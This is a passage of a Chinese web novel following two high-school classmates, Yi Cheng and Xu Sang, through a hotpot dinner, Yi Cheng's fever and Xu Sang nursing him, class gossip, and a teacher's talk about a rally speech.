电磁锅煮好底料,就先加了部分进去…他站桌边,用香油和其他调料“打着碟”,弄到自己那份时,他唤道:“来吃!” “好耶好耶!”秋秋长了飞毛腿一样,咻~地两下就窜了过来。 乖巧地两腿并拢坐下,抽出两根筷子就端坐如松,笑着,“哥,什么能吃了?” “都能。” 秋秋动筷:“好!” 易承倒完香油,又加了些蚝油,凭手感添葱和香菜时,望了眼不知何时就晃到身边的人,没多想,顺口一句,“同桌,帮我解一下。” “嗯?”许桑轻顿。 易承解释:“我手脏了。” “好。”许桑视线向下,落在他被绳带勾出轮廓的腰上,看了两秒,他轻皱眉:“死结?” “是吗?”易承九十度转动脑子,有些诧异地想往后看一眼,还没扭到极限,就被许桑徒手“扳”回去,他悻悻一笑,手背轻刮鼻尖,“可能没注意。” 许桑没再多言,低头细细将两条线的纹路看清后,轻车熟路地“掏”出一小节,而后便顺顺当当地解开剩下的。 后腰的绳松开时,围裙朝前膨了些,易承轻挑眉,“可以啊,这么快!” “……” 许桑看白痴一样看着他后脑勺,刚想起脚落座,易承忽地转了身,痞里痞气地倚着桌沿,“顺便帮我脱一下。” 过分突然,许桑呼吸一滞,等他勾着唇弯身低头时,才滞后性地应道:“嗯。” 手指穿到他颈后,勾出绳带,许桑轻用力,往上越过他的头,而后将围裙交叠落在臂弯里,道:“好了。” “谢了,同桌。”易承抬头,就着这矮了人近半个头的姿势,快然一笑。 笑得太他妈“漂亮”了。 许桑沉沉看了两秒,转身去将围裙搭到沙发上,背影像极了落荒而逃。 一锅菜,底料并不辣,味道总体偏清淡。 秋秋胃口算不上大,顶多就“口头上的巨人,行动上的矮子”,吵着要吃时,那阵仗,想来干翻一连的人都不在话下; 到了吃,拳头大的碗没加满,人就吆喝着“饱了”。 这不,刨了半碗饭半碗肉几口菜,人就摸着肚子闹“撑死了”。 “哥,我吃饱了。”秋秋下了桌,说话间却眼巴巴地望着几步之遥的电视机。 易承没逗她,点头,“去看去看。” “啊!好耶,谢谢哥!”秋秋压根没矜持住,闻声就欢腾成只四脚软皮青蛙,蹦得不但高,还四肢极尽伸展。 想来还有一分当淑女的骨肉执念,她蹦出二里地后,又缩回来,甜甜鞠了一躬,“哥,哥哥,你们慢慢吃。” 那头,电视里正放着首慵懒的主题曲。 这头,正菜才倒入。 易承收了秋秋的碗筷,取过双新筷子,估摸着菜肉的熟度,按时间分次序下了。 中央,电磁锅煮着,锅内滚滚拱出热气,朦胧了两对坐人的视线。 等肉时,易承摸出手机,翻到消息几乎99+的“五虎上将”里,不解:“聊什么这么能聊?” 许桑回道:“英语单词。” “嗯?”易承点开屏幕,就见【慢即是快(为人民服务版)】刷屏一样刷着看着就让人头大的英文单词。 而平日里闲话多余正话、只吐语气词都能给人淹死的【不识好人丁】,这回正经多了——当然,也没正经到哪儿去。 “引用”了单词,就开始深讲记忆方法。 【慢即是快(为人民服务版):logistics.】 【不识好人丁:后勤,物流。拆一下呗,傻缺。lo,谐音“落”,就是掉了丢了嘛;gist,你拼一下,像不像“急死他”,后面不管……想一下,弄丢东西能急死他,可不就是苦逼的外卖员,快递也一样,那不就是搞物流的。再延伸延伸,不就后勤服务嘛……】 易承挑眉,给人发了个“棒”。 整整齐齐的聊天结构被打破,陈慢懒得再全网扒生难词,虽然刚记得很爽……连忙插话。 【慢即是快(为人民服务版):易哥许哥,你们安全到家了吗?】 易承支起手机,将翻着热气起起伏伏的一锅定格,随手往上一扬,甩在群里。 懒得多余打字,精简: 【易承:在我家。】 也在看消息,许桑划到这句时,指尖微顿,错了些,点开上面的图片。 透过屏幕都能感受到锅里的丰盛与温暖,热气腾腾间,耸着人间烟火气。 他不自觉地勾了唇,手指轻滑,将在店面时意外拍的照片点了出来。 图片上,他眼里的错愣一览无余,而身侧几乎是紧贴着的人,笑得灿烂,如同夏阳,耀眼得让人挪不开眼。 目光停留了近半分钟,他长按,点了“保存”。 【慢即是快(为人民服务版):我靠靠靠!易哥,背着我们吃什么好吃的呢?!】 【不识好人丁:是不是我们发的图片不够诱惑……就该精修加p,不得给你们香迷糊啊!】 【不学习浑身难受:晚上学习中,也想吃火锅,看得我……圆锥曲线都索然无味了。】 …… 易承三言两语给群里的人怼回去,等群里重新溢满“英语单词”味儿,对许桑抬了抬下巴,“肉好了。” “嗯。”许桑支出筷子,热气缭绕里,没看清夹了筷子什么,丢到碗里才发觉是鱼片。 还是刺儿蛮多那类。 他默了一秒,换了姿势:一手一根筷子,一根筷子端抵着鱼片,另一根则艰难剔着刺。 易承起身,绕到一侧将火调到最小,偏头时就见这么一幕,留意到他轻拧着的眉,没忍住笑了。 长得智商两百整,吃个鱼能蠢十倍。 回到座位时,他捞了两片鱼。 许桑吃完这片鱼,轻叹气,于是另夹了一大筷子,肉片土豆片都混杂其间。 刚落到碗里,对面的人忽的站起身。 火势小后,热气自然散了不少,他能清晰看到对面带笑的脸。 易承连着夹了两鱼片,熟络剔完刺后,向前倾身,“筷子干净的。” 许桑垂眸,看着支到面前,白花花的鱼片,呆滞了两秒,“嗯?” “没刺。”易承往前挪了些,“手举累了,同桌。” 许桑眸中划过一道异样,没再犹豫,张嘴咬住了鱼片。 滑而嫩的鱼肉,滚进口腔的那刻,顺溜极了,想来裹了一圈蘸料,连着几重,香气绽在口腔里。 他微微仰头,和易承对视上,缓缓地,他道:“谢谢。” 第27章 第27章 【“你行吗?”】 一顿饭, 吃得还算快。 收碗时,许桑起身,“我来吧。” “不用。”易承拒绝得很迅速, 把碗摞好后,却见他齐好筷子没有离开的意思,轻笑,“那, 我洗你清?” 许桑点头:“好。” 看着他的背影,易承轻声: 也是个不欠人的性子…… 等许桑摆放碗筷时, 易承胡乱擦了把手, 走到一旁去接电话。 两分钟后,他勾过件外套,披上,对目不转睛盯着电视屏幕的秋秋说道:“秋秋,我出去一趟,这集看完就睡, 听到没?” “听到了。”秋秋转过脸,“哥,你什么时候回来?” “半个小时左右。”易承换上鞋,“怎么,怕鬼不敢睡啊?” “才没有,我胆子大着呢,保证你回来的时候,睡得香香的。”秋秋傲然地抬着头。 易承应了声, “拭目以待。” 许桑关了厨房灯出来时,易承正倚着门口旁的墙,视线相接时, 那人微抬头,“同桌,我送你回家?” 脚步轻顿,他回道:“好。” 勾上书包,许桑跟上易承的步子。 下楼时,许桑留意到他新换上的有些破旧的外套,问:“有事啊?” “嗯。”易承想了想,补充说,“杨叔刚打电话说,他一个朋友新进了一大批柚子,比批发价低几毛,加上跟人也熟,价低东西好,难得。老杨腰不行,我去帮忙搬货。” “早上也是?”一般这类店,早上进货,现摆货,工作量不算轻。 易承顿了下,没隐瞒:“是。” 心头某些疑惑有了答案,许桑掩去心底情绪,扫了他一眼,“很急吗?” “不急,老杨开车正过来。”易承见他神情不算放松,打趣:“放心,送你回家这点儿时间还是有的。” 他的视线过于热烈……许桑被烫到了般,生硬别开眼:“嗯。” 近凌晨时,许桑打开“Serendipity”,界面才刚刚明晰,就跳出封信来,像只心急的红屁股猴子——来信人:“借点儿光。” 点开内容前,他朝窗外看了眼。 若是估计的不错,对着的,楼层矮些的那家,恰是易承家。 窗帘依旧拉着,不过,撤开视线的前夕,边缘处,有细细碎碎的光漏出来。 想来人是到家了。 他心下一松,偏过头,读信。 “展信如晤。 最近有点儿忙,忙得团团转,比倒了个儿躺壳的王八还转得快,总晕头巴脑的。不过,挺实在,能清晰感觉到神经打架,还有,累到厉害松下来,那股舒服劲儿,过瘾! 怎么说,身边一帮‘马戏团’朋友? 你这混的,混哪儿去了……” 闲闲叨叨唠完,一封信也到了尽头,许桑静静看着尾部落下的四字:“借点儿光”。 会心一笑,起身拍开台灯,他坐到桌前,回信- “不是,易哥怎么还没来?不应该啊。”吕丁往后回了几次头,最后问许桑,“这都第四节课了。” 许桑停笔,“他不是经常迟到?” “嗯……我竟无力反驳。” 许桑低眼,手机一直放在抽屉里的,此刻他摁开,给人发了条消息。 吕丁动了动脑子,又有话说了,“请假的话,慢慢肯定会在黑板上标好,他那股为人民服务的劲儿,从没漏过人。没请假的话,呃,倒也正常。” “……”这不纯纯废话。 隔了两秒,手里的手机轻震,许桑低眸。 耳边,吕丁还在大胆猜测:“我靠,易哥不会出事儿了吧?是不是被□□的绑了,或者,被老徐拉到办公室羞辱了一顿,或者,被白老母逮着骂了,或者——” 许桑听不下去了,难得打断人的话:“他没事。” 回忆了遍易承的回复:“感冒睡死了。” 他顿了一下,严谨:“也有事。” “……许哥,你也是越来越幽默了。” 许桑轻顿,直觉身边没人,袖口稍展,他光明正大包着手机,把屏幕展示给他,“生病了。” “那怎么不请假?”一秒没停就接了话,吕丁朝屏幕上看去。 许桑替人解释:“睡死了。” “……”吕丁被这话噎得都不知道怎么回了,关键看到这他妈还是他易哥的原话,呆愣了两秒,才说:“有道理!” “嗯。”许桑收回手机,正欲放抽屉里,手心又轻轻一震,他低眼。 【易承:这么想我?】 【易承:实在想的话可以来看看你易哥。】 他半个子儿的犹豫都没有,手机扔抽屉时,按了关机。 吕丁转过去时,瞳孔地震过似的,比高度散光的人眼还“支离破碎”。 “鸿途。” “怎么了?”赵鸿途把眼镜摘下来,“你这声跟死了一样,怪瘆人的。” “……”吕丁舔了两遍干涩的嘴唇,“不是,你不知道,刚我看许哥掏手机那套动作,大佬级别啊我靠,最离谱的是,我宁愿相信他是要给我一巴掌,都没有想过他会带手机……” “你这,就是见少了,开放一点儿就好了。”赵鸿途劝导。 “哦,还有还有。”吕丁声音放小了些,“易哥许哥的聊天信息,你一句我一句,我靠,比我跟易哥聊一年的记录还多。” “你又不是易哥女朋友,管那么多做什么?”赵鸿途擦完眼镜,戴上,又一本正经地埋头苦干物理压轴题。 “……”这一语中的,给吕丁都整失语了。 “什么女朋友?”陈慢捞到关键词,魂儿就被勾走了,“你跟人表白了?” “表你个大头鬼啊。”吕丁“去去去”地挥手轰走人,“说易哥呢关我屁事……” “易哥?”陈慢的反应比名字还慢,灵魂出窍了一样僵硬地转过去,把几个字串起来时,浑身抖了个激灵。 他脱口而出:“我靠?!” 偏偏这声充满了情绪,声音大了要掀了这栋教学楼似的。 “欸!逮到了!”纪律委员腾地站起来,“班长公然说脏话,文明分扣两分!大家以此为鉴啊!” “……呃呵呵……” 一天下来,实话说,能学到的东西少的可怜。 许桑复盘一遍后,起身,单肩挎上包,他弯身将板凳推进去。 要迈出教室前,他轻顿,折返两步,伸手将某空桌上散着的几张试卷勾到手上。 手心忽地一震,许桑掏出手机。 【陈慢:许哥,问你个事儿呗。】 他单手打字:“问。” 【陈慢:易哥是不是……有女朋友了?他女朋友长什么样啊?是我们学校的吗?年纪比他大还是小啊?网恋还是现实恋?地下情还是异地恋?】 “……”许桑瞧这一看就是早有酝酿的说辞,轻顿。 【陈慢:许哥,你放心跟我说,我的嘴,包严实的,比缝了线的嘴还要滴水不漏!】 【陈慢:许哥,能不能帮我问问易哥?我好奇得肠子都拧成麻花了……】 截图,没带人头像,只将这段话单独框选,而后,甩给了易承,许桑平静:“我问问。” 【陈慢:太他妈哥们儿了!许哥。】 摁灭手机,不知不觉,已经走到街口。 许桑停在路灯下,看着几步之遥的“一个水果店”,今晚秋秋不在,易承裹着件外套,正蹲地上逗着那只猫。 丑名儿“耗子”那只。 白日用来提亮水果的灯被按灭,此时只是屋内一挂灯,光线被散了不少,打到易承身上时,柔和不少。 许桑停着看了有两分钟,才提步,走到店面口。 身前忽地罩下大片阴影,易承仰头,顺口:“要买什么?” 看清人时,他微顿,笑了下,“真想我了啊?” 如他所说,感冒了,说话时带着偏重的鼻音,与平日不同,尾声微微下垂,听着柔了很多。 许桑看着他,“送点作业。” “……”易承起身,挑眉,“你来这一趟,病上加病啊。” 话落,他还是认命地接了这几张试卷,拿着翻看了两眼,放在一旁装好的水果袋里,“谢了。给你削个苹果?” 许桑看着他,两颊比平时要红润些,像是发过烧,默了两秒,他回答:“不用。” “嗯,也行,下次吧。”易承话落,鼻头发痒,他连忙侧过身,手背掩面打了个喷嚏…… 许桑轻皱眉,“生病了,没人替你活?” 说着,他脱下外套,虽不是什么冲锋衣,但学校的东西,胜在“大而实用”。 买时还特意加大一码,怕它洗两次缩个儿… 好在还新,宽大的校服套人身上刚刚好。 “谢了。”易承没扭捏着拒绝,回答他开始的问题,“戚姨最近身子不舒服,杨叔晚上回得早,我来守会儿,不碍事。” 虽不知“戚姨”“杨叔”具体是谁,但许桑能将其中关系理个大概……理完,他眉依旧没舒展,“一天都落不下?” “嗯。”易承鼻音蛮重,说多了话,嗓音也哑了不少,“策略问题,小店不容易,常开才留得住客……” 许桑不傻,自然知道其中道理,没细问下去,转了话题,“今天怎么还没关店?” 像被灌了酒,问一句,易承毫无防备地答一句:“手没劲儿,收的慢。” “坐着。”许桑伸脚勾来矮凳,手揽上他肩,“我来。” 脑袋浑得很,身体还烧烧的……易承听话坐下,虽慢了两秒,但还是反应过来了,问:“你行吗?” 许桑脚步一滞,低眼看他,“看你收过一次。” “哦。”易承和板凳同时转了个向,有些迷瞪地看着他颀长的背影。 别说,收起来还有模有样的。 耗子叫了两声,往他脚边蹭……易承皱了两下眉,附身一掌心把猫脑袋给压没了,实感地蹭着柔软,他脑袋发沉。 将猫牵走时,许桑垂眸看了眼易承,有些无奈,但下意识加快了些速度。 “能走吗?”一派收拾完,许桑立在他身前,倾身问。 易承缓了口气,身体虚飘虚飘的,他应道:“能。” 许桑看了眼他的状态,伸手勾过水果袋子,在他起身时,牵着人手腕,“没劲就靠着我。” 易承偏头,呼吸里尽是热气,眼前有些雾蒙蒙的,不过看久些,还是能看清眼前人,他迟缓地应了一声,“嗯。” 第28章 第28章 【像个傻子。】 站在门口时, 许桑道:“开门。” 易承懵了两秒,才回道:“哦。” 从裤兜里摸出钥匙,他弯腰往锁孔里戳了两次, 没戳进去,皱着眉把钥匙给了许桑,抱怨:“对不准。” “……” 许桑从他手里捞过钥匙,手指相触时, 能感觉到他滚烫的体温。他轻顿,接过钥匙开门。 “回床还是沙发?” 易承换好鞋, 默了两声, “床。” “好。”许桑拉着他的手臂,承了他半个身子的力,将人半扶半推地带到房间,弯身,探了下他的额头:“这么烫?” “是吗?”易承抬手,也跟着摸额头, 停了几秒,轻声:“没感觉。” “……”许桑捏住他的手,果然,同样滚烫,“家里药箱在哪?” “嗯,门口柜台里。” “行。”许桑看着他,“先躺下吧。人都要烧熟了。” 易承听话:“好。” 许桑出了房间,手上似还残留着那人的体温, 烫得离谱…… 最近是有些降温,不过,至于这么严重? 他走到柜台, 取出药箱,根据记忆,辅以手机里搜到的医师建议,冲了包冲剂,又拿了两板颗粒药,回到房间时,目光恰好擦过挂在一旁土灰土灰的外套。 他忽地明白了。 走进房间时,人正缩在被子里,头朝里偏,呼吸略显沉重。 许桑轻搅药汤,手指贴着碗沿,感觉温度降了些后,轻拍人肩,“药喝了再睡。” “嗯……”易承动作按了负倍速一样,将这话理解完都花了半分钟,转个身,虚晃晃地看着药汤,迟了几秒,冲剂的味道飘出来,扫了一圈嗅觉,他愣愣地应道:“好。” 他的一举一动都落在眼里,许桑有些无奈: 像个傻子。 “伺候”人喝完药,许桑将药碗丢到一旁,俯身,又探了一遍他额头。 还没退烧。 想着,他走到厨房,烧了壶热水,又进洗手间拿了个盆和帕子……将热水倒进盆子,帕子丢里面,热浪般的气雾一阵腾起。 许桑拧眉,忍着烫拧干帕子上的水,没多讲究地坐床沿,将折叠成小长条的帕子搭人额头上。 许是温度于易承而言有些突然,他颤着闷哼了声。 许桑伸手,撩开他额间的碎发,说道:“去医院吗?” 眼闭着,眉也皱着,易承含糊回答:“不喜欢……医院。” 许桑顿了两秒,将帕子翻了个面,又过了遍热水,重新搭上,问道:“除了秋秋,家里没人吗?” 易承慢腾腾地睁眼,摇头。 许桑叹了口气,“睡吧。” 来回换了四五次帕子,烧得滚开的水都温了,许桑才起身,将水倒了。 走到床边,他垂眼看了眼人,收回视线。 坐到沙发上时,他摸出手机,翻到刘姨电话号码,给人发了条短信。 【刘姨,明早不用做饭。】 久久没有看到回复,想来已经睡了。 窝在沙发上,睡得有些不舒服,凌晨时,许桑坐起来,口干舌燥。 干瞪了阳台两眼,他起身,给自己倒了杯凉水。 这身体是越来越矫情了,到点了都睡不着…… 看了眼时间,许桑放轻脚步,倚着门框看了眼床上的人。 没开灯,看不清。 他走近,弯腰俯身,手背轻轻贴上他额头。 嗯? 怎么是冷的? 他皱眉,索性坐到床边,打开百度,搜“发烧退烧后,额头是凉的?”,一秒后,出了答案,豆大四个字——“正常现象”。 “啧。”许桑扣下手机,手翻了个面儿,向下贴了贴他脸侧和脖颈,感觉问题不大后,才绕着又挤到了沙发上。 得,这回不矫情了,倒头就睡! 清晨四点整,闹钟先生开始固定地蹦迪表演,又颤又震,在床头柜上精神极了。 易承侧身,一掌给“人”拍灭了。 烧过的身子,就跟过了热水的猪一样,老实了。 易承挣扎了将近两分钟,才勉强恢复行动力,软得像不存在的手脚,使不上劲儿……下个床,脚都不知道扭出多少个奇葩走位了。 嗓子也不得劲,有些发肿,洗漱时,吞咽两下针扎一样。 预备闹钟响起时,易承满床找手机,被子抖出花了,还没见到手机影子。 感个冒发个烧而已,眼耳口鼻舌死了一样,他妈集体罢工啊。 静音模式,震动第三遍时,易承在枕头旁摸到手机,划掉闹钟界面,提着的气都沉下去了。 不用看都知道时间,他草草换上衣服,把堆在衣柜里层的毛外套捞出去,又勾过书桌上的黑色棉口罩,想想还是没戴帽子。 吹点风好,不然脑细胞都给闷死了。 走到客厅,正要换鞋出去,忽见沙发上窝了个人。 易承眨了两下眼,昨夜片段化、倍速版的回忆慢慢回笼。 啧,不喝酒也跟断片了似的。 他走到沙发前,看人就搭了个外套,窝着睡得还挺憋屈,两条长腿蜷着。 时间还早,他轻拍人肩,耳语:“许桑?” 睡眠还算浅,不过醒不醒跟这点没有必然联系……许桑还没完全清醒,只知道有人喊他。 那人凑上来时,身体的热气都跟着渡过来,声音哑着,还不太清晰,擦过耳垂,发烫发痒,轻拧眉,他应了句:“嗯。” “上我床上睡。”易承把口罩出气处捏紧了些。 等了半分钟,许桑坐了起来,静静看着他,“几点了?” “早着呢。”易承退了一步,“你慢慢睡。” 许桑回答:“好。” 早上七点半,阳光亮了大片天。 易承伸了个懒腰,精力回了一半,三两步跨完一楼楼梯,开门时,把门上便签扯了下来。 边换鞋,边看。 “锅里有汤,能喝不能喝都喝了吧。” 没有署名,易承多看了两眼这字儿,微顿,将便签揣进兜里,站门口喊了声“秋秋,起床了!”就马不停蹄地跨进厨房,掀了锅盖。 透明盖上,蓄满了水汽。掀开时,铺面而来一股香气,带着泡菜的酸,他舀了半碗,看清佐料时,喝了一口。 汤喝着很暖,许是酸萝卜的味道很正……还有股不算浓烈的姜味,开始喝着有些辣嗓子,但两口之后,能感受到一种回过味的香。 落碗时,他靠着厨台,摸出手机,嘴角含笑,发了条消息。 【易承:同桌,酸萝卜汤,什么原理?】 发送完,他看到上面许桑昨天就发过来的截图,挑眉,点开。 “许哥,你昨晚偷牛去了?”吕丁转头四次,四次都看人趴着睡,好不容易逮着人抬了脑袋,一秒都没耽误,问:“困成这样?” 许桑看他一眼,“嗯。” 吕丁往前伸了半个脑袋,“就近原则能用在这儿?” “……”许桑回答:“昨晚有人病了。” “哦哦。”吕丁满足了疑惑求解的欲望后,就转过身去,亲眼看到陈慢一笔一划,在“病假”栏写下“易承”两个字,瞳孔一震,又转回来,“许哥,这个有人,不会就是易哥吧?” 许桑重新抽了张试卷,轻声:“嗯。” “稀奇啊,易哥居然会请假!”吕丁感叹一句,又转了回去。 请假条,他亲写亲递的…… 笔尖戳纸上,凝出个小墨珠,许桑提笔,继续写题。 “许哥,怎么样,问到没有?”才下课,陈慢就撅着屁股站到了过道,手肘想撑到桌子但没敢撑,就靠耐力支撑。 许桑停笔,淡声回答:“他没回。” “没回?”陈慢别过头沉思,“这是害羞了不好意思说,还是——” “陈慢!” 被天降的一声打断,陈慢到嘴的词都蒸发殆尽。 循到声源时,强硬支撑着的下半身更是歪头就拐的,抖了两下没撑住,往后一屁股坐地上,他还不忘笑着喊人:“老……老徐?” “不走艺术生路线啊,怎么喊个人都有调。”徐富背着手,从高出几厘米的门槛上走下来,视觉上立马矮了一截,“快起来,作为班长,丢的是我的脸!” 屁股摔开花了一样。 陈慢捂着痛,起来:“哦。那您先巡着,我先回座位。” “等等。”徐富拉了他一下,半昂着头: “以后少打扰同学学习。下课时间十分钟二十分钟的,利用好了就是宝,知道吗?你看我每次来巡视,人许桑同学都是乖乖坐着在写题。知不知道,差距就在这里。要是你能这么沉下来,坐得定,年级前十,不在话下,听到没有!” “听到了。” 陈慢赶紧应付完回了座位,轻声叹息: 还不如“杀”了前面一百号人来得快! “嗯。”徐富知足地看着突然安静下来的教室,视线从头到尾扫过亟待问斩似的垂下的脑袋们,最后满意地落在了身前,慈祥出声:“许桑,跟我来趟办公室。” 许桑转了圈笔,“好。” “如何啊?来了有这么久,适应得怎么样了?”徐富翘上二郎腿,往后靠在椅背上,嘬了口热水。 许桑立得笔直:“挺好。” “那就好,我——” “我说了,我上的大学就是个211,还是个985哦,反正,不是985,就是211,就这文凭还不够啊?” “我想——” “毕业证?几十年前上的学,我毕业证早丢了!哪需要什么证明啊,我说上了就是上了。” “我想问问——” “你不信,去打大学电话,你就问,有没有我白晓莉这号人!一问不就知道了……哎哟,木鱼脑子啊,几十年前的事儿了,我哪记得大学叫什么名字,你反正查查就知道了……我学历保准在那儿的!” 话风过于密集,徐富开口三次都被打断,说着说着甚至上半身前倾了。 他看着许桑,扇蚊子一样摆手,“算了,咱去外面说。” “好。”许桑余光瞥了眼。 白晓莉,正两手叉腰,张着血盆大口,要吃了手机一样怼着手机“开麦”。 “她啊,最近教师评级,偏偏学历上有点门槛。”两手不离保温杯,徐富将人带到走廊,迎着风说,“不过,都共事多少年了,谁不知道她是大专学历……” 许桑看着远处的树,默声。 “害,跟你说这些干什么。”徐富偏过头来,换了个厚重的语气,“之前我就看好你,只是没想到你这么争气,一下就冲到年一了,这惊喜,大啊!” 许桑“嗯”了一声。 “对了,之前我没多考虑,就随便给你排了个座。”徐富犹豫了两下,才说:“易承那小子,影响到你学习没?” 第29章 第29章 【“好好学习,天天向桑。”…… “你不用怕, 这儿没别的人,也传不到易承耳朵里。”徐富重重起势,略显吃力地轻轻落了一掌在许桑身上, “我们呢,就讲些掏心窝子的话。再说,你别看易承那小子气质上凶了点,但在我面前, 还是只乖兔子,多训他几句, 保准脑袋尾巴一起摇。” “……”许桑被最后一句逗笑了。 真不知道, 要是让易承听到,他该是副什么表情。 “要是有什么意见尽管提,有什么不满你也都跟我说,我去处理,保证训得那小子服服帖帖的。”徐富起范儿。 笑过了,许桑真诚回答:“没有意见, 挺满意的。” “嗯,那就好,不过,说没有意见,这肯定是带了点修辞手法的,是不是?” 没给人回答的机会,徐富飞快接话,“但毕竟人无完人嘛。要实在有什么接受不了的点, 想换座位我尽力给你调,这点我保证。只是,班上几十号人, 要是突然换个座位,对你对他影响都不好,我呢,自然是希望大家不生嫌隙,好好过完高三,你说呢?” 许桑回应:“在理。” “明白就好。我当老师这么多年,人见得不少,易承呢,是挺特别的。人聪明,长得也是副不愁喜欢的样子……只是呢,少年嘛,还年轻,挑着担子只愿闷声,落不下面子喊一声累,正常。” 洋洋洒洒说了一大堆,许桑算是明白了老徐的意图。 大概是,易承很好,让他别嫌弃这位子。 微风拂面,沾染上秋转冬的气息。 “行,我也就说这么多。你好好学习,切莫因为一些有的没的影响了学习。”徐富老练地收尾。 “好。”许桑收回无聊到看天的视线。 徐富欣慰地看着他,缓缓点了两下头。 应该还没过完嘴瘾,又或者说着说着更想说以至犯嘴瘾了,他仰头四十五度看天,沉思两分钟后,一咋呼,低头,“差点忘了最重要的事!” 许桑耐心:“您说。” “下周周五,刚好是200天,两百天誓师大会,咱学校最有派头的活动。年级呢,让我派个人出来讲话,我思来想去,还是觉得你最合适。”徐富背过手,开吹: “数学好,这是杀手锏;总分高,还跟后面学生拉得开,这点在之后的联考里很有优势;当然,最主要的是,我天天巡楼道,耳屎堵满了都没堵住你的名字,这魅力相当可以!总不能誓师大会,逮个人上去讲,讲睡一操坝的人,那成什么话!” 许桑轻拧眉:这学校是没人了吗? 他平静回答:“我只当众念过检讨。” “……”此话穿过耳屎堆传入耳膜,徐富不由自主地往前探头、往后缩脖子,“你……你说什么?!” “我说,我刚路过走廊,看到老徐在找那个新来的谈话。”土头土脸一男生,没发育完全,眼睛一大一小,眉毛一高一低,“老徐才一七五,矮了截没看到表情,只听到,讲了什么学习,还讲到什么两百天,那个叫,哦,对,誓师大会!” “就这?”邓茂光脚后跟跺地,手指上下左右来回挑着下巴,皱眉。 “不然呢,我这是路过偷听,又不是专业刺客监听!”土脸男生情绪激动,“茂光哥,你也别怕,放心吧,新人,没那个胆子告老师的!” “老子才没怕!”邓茂光坐在花坛上,仰头看了几眼过道上的两个人,跷起二郎腿,手指落在鼻侧,陷入深深的思考中。语气低沉,像地下水沟里飘出来的声音,“我天天放学去堵人,一次没堵到,你说他怎么这么能溜?” “天天去?”土脸男生一屁股坐在地上,抬头献上两根翘上天的粗眉,“但凡我追女生有这个毅力呢……” “滚你爷爷孙的大舅奶!”邓茂光一脚给人踹上去,“我他妈性取向正常!” 土脸男往后一坐,“比喻一下,激动什么。” “你妈的,那叫类比!” “只念过检讨?”年级主任站起来,弓腰,“他原先什么学校,校风这么压抑!” “我也是说——”徐富说到一半反应过来,“不是,主任,您没睡醒呢?关校风哪门子事!顶多说明人学校校规严,说不定进校门先踏左脚就要念一次检讨!” “……你这说的也不像是靠谱的啊。” “哎呀,就那个意思。这孩子我观察了很久,话是少了点,但这正常嘛,又不是脸皮城墙厚的人,谁初来乍到,劈里啪啦一大堆,现在都流行什么,高冷人设;成绩也好,这是关键;还有,也不愁早恋的事。” “早恋?就那张脸,能恋一花园了吧?”年级主任打断他。 “这就是你不下基层了。”徐富信誓旦旦,“我回回看他,回回写作业。我说,他跟学习天生一对,黏了胶水一样,谁都拆不散!” 年级主任皱眉,“下个基层,给你下成瘌□□了……你听听你这说的是人话吗?” “我不说人话说什么话,您也是搞笑。”徐富哈哈笑了两声,“这年头不是兴什么cp吗?他俩cp名我都想好了,叫‘好好学习,天天向桑。’许桑的桑。” “你妈逼的,这天老子跟你聊不下去了!”年级主任转身就走。 “欸!等等!”徐富连忙跑到门口,不紧不慢把步速龟速的人拉回来,“这都是我听同学们讲的……说真的,让不让许桑上台讲,只要你答应,我嘴皮子磨破也把人磨上讲台!” 年级主任腹部发力,哼了一声,“磨上去做检讨吗?!” “哈哈哈……这是答应了?” “不答应你磨的是我啊!老徐。”年级主任无奈摇摇头,“磨多了,要成针呐!” 站原地吹了阵风,许桑从兜里摸出手机——早上一直在睡,没留意。 他点开顶上的几条消息。 【易承:同桌,酸萝卜汤,什么原理?】 【易承:这些问题……】 【易承:前提不成立。】 前提? 回顾了遍问题,开头一句,貌似是“有没有……?” 许桑轻顿:这不也是个问题。哪来的前提? 没深想,他引了上面那句,回复。 【许桑:没原理,偏方。】 那头消息回的很快:“下课了?” 许桑简单回了个“嗯”,问:“在店里吗?” 【易承:在。】 【易承:充分利用你请的假。】 许桑勾唇轻笑,袖口偏长,只露出手指,他看了眼远方的风景。 秋阳明媚下的风景。 老徐带他出来的时候,距离上课两分钟;结束谈话时,距离下课十分钟。 一来一回聊到下课,许桑收了手机,回教室前先去了趟厕所。 走廊还没走到头,楼梯口响了声瘪嘴的口哨——真要用这声口哨,给婴儿提尿,那尿大概率都是断断续续的。 “新同学,又见面了。”邓茂光拽着出来,嘴里的口香糖嚼得死白。 许桑停步,纠正:“不新了。” “……”口香糖黏住嘴了一样,邓茂光傻愣了几秒,干咳两声,“咳,同学!” 许桑静静看着他,不知道是今天阳光不错,还是刚跟某人聊过天,他心情挺好。 没直接转身离开,“有事?” “之前不是让你放学等着吗?我他妈天天在后门等你,你胆子这么小,一次都不敢来啊!”邓茂光牛逼哄哄地上前一步,昂头甩头发。 后门? 许桑不爱瞎转悠,除非是在已经走丢的情况下……平时也是一条路能走通绝不另辟蹊径,听人这么一通问询,他挑眉,好奇道:“后门在哪?” “……!”邓茂光半口冷气没抽上来,险些往后一仰,“你你,你不知道后门在哪?” 思考两分钟,他自己逻辑自洽,“哦,对啊,你才来。” “那个,后门,就在操场旁边。操场围了大半圈铁丝网,没网的地方,是墙,有处长草了,那儿有个狗洞,不过不重要。草最稀疏的地方,有个门,那儿的保安,只守到晚自习下课,门就锁了。”他细心解释,“不过,之前我去配了把钥匙,能开。” 许桑“嗯”了一声,转身进厕所前,礼貌地说了句,“谢谢。” “谢——”邓茂光还没说完,听他这么一打岔,转眼,就只看到个背影,还是半个身子进厕所了的背影,“谢个簸箕啊!!” 回到教室时,上课铃刚响。 白晓莉满脸困倦,把书摊平放在讲台上,长而重地深深呼出一口气,才道:“上课。” “老师好!” “嗯。”她有气无力,连说成口头禅的“同学们好”都省略了。 拉过门口放的板凳,放中间就坐下,扫视一圈,“这节课,自己把必背七十五篇拿出来背,哪篇不熟背哪篇,可以背出声音。课代表上来监督。” 教室里立马乱成一锅粥,一时间,听什么都有“之乎者也哉”那股味儿。 “白老母今天怎么这么颓啊,遇到老虎还是武松了?” “你这,虚实结合,用得妙啊!” “我听说,是最近教师评级,就跟咱们期末考试一样,焦虑焦虑很正常。” “她也能评级?” “催眠水平确实大师级!” …… “许哥,你听说了吗?”吕丁转过头来,宣扬他刚听到的八卦。 许桑从数字堆里抬头,“听说了。” “你……”吕丁话到嘴边急刹车,“以后你就是我吕丁的特级冷场机了。” 许桑无语地笑了,叹声:“神经。” “言归正传。”吕丁招呼来赵鸿途,还裹挟了前面两座的人,百分之五十地克制住音量,“……我听说,白老母评级,纯靠熬资历……” “不是,那她怎么教上理一班的?”赵鸿途问道。 